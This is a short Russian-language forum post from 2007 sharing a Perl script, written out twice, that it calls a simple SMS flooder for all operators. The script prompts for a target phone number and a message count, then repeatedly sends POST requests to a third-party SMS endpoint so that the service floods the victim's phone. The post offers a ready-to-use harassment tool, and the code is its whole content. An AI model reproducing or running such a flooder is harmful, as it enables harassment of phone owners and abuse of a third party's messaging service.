degeneration x
02.03.2007, 20:42
Простенький смс флудер, написан на перле, работать должен на всех операторах.
#!/usr/bin/perl
###############################################
#SMS Flooder writen by DeGeneration X #
###############################################
# #
#phone number format: #
#[country_code][operator_cod][phone_number] #
#e.g. 76061234567 #
# #
###############################################
use IO::Socket;
print "Phone number:";
$phonenumber = <STDIN>;
chomp($phonenumber);
print "How much sms:";
$muchsms = <STDIN>;
chomp($muchsms);
$server = "mobile.textstream.fi";
$path = "http://mobile.textstream.fi/msearch/smsreceive.php";
$data = "numberfrom=%2B"."$phonenumber";
$len = length $data;
for($i=0;$i<$muchsms;$i++)
{
$get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Cannot Connect Host";
print $get "POST $path HTTP/1.0\n";
print $get "Host: ".$serv."\n";
print $get "Content-Type: application/x-www-form-urlencoded\n";
print $get "Content-Length: ".$len."\n\n";
print $get "$data\n";
}
print "Done!";
#!/usr/bin/perl
###############################################
#SMS Flooder writen by DeGeneration X #
###############################################
# #
#phone number format: #
#[country_code][operator_cod][phone_number] #
#e.g. 76061234567 #
# #
###############################################
use IO::Socket;
print "Phone number:";
$phonenumber = <STDIN>;
chomp($phonenumber);
print "How much sms:";
$muchsms = <STDIN>;
chomp($muchsms);
$server = "mobile.textstream.fi";
$path = "http://mobile.textstream.fi/msearch/smsreceive.php";
$data = "numberfrom=%2B"."$phonenumber";
$len = length $data;
for($i=0;$i<$muchsms;$i++)
{
$get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Cannot Connect Host";
print $get "POST $path HTTP/1.0\n";
print $get "Host: ".$serv."\n";
print $get "Content-Type: application/x-www-form-urlencoded\n";
print $get "Content-Length: ".$len."\n\n";
print $get "$data\n";
}
print "Done!";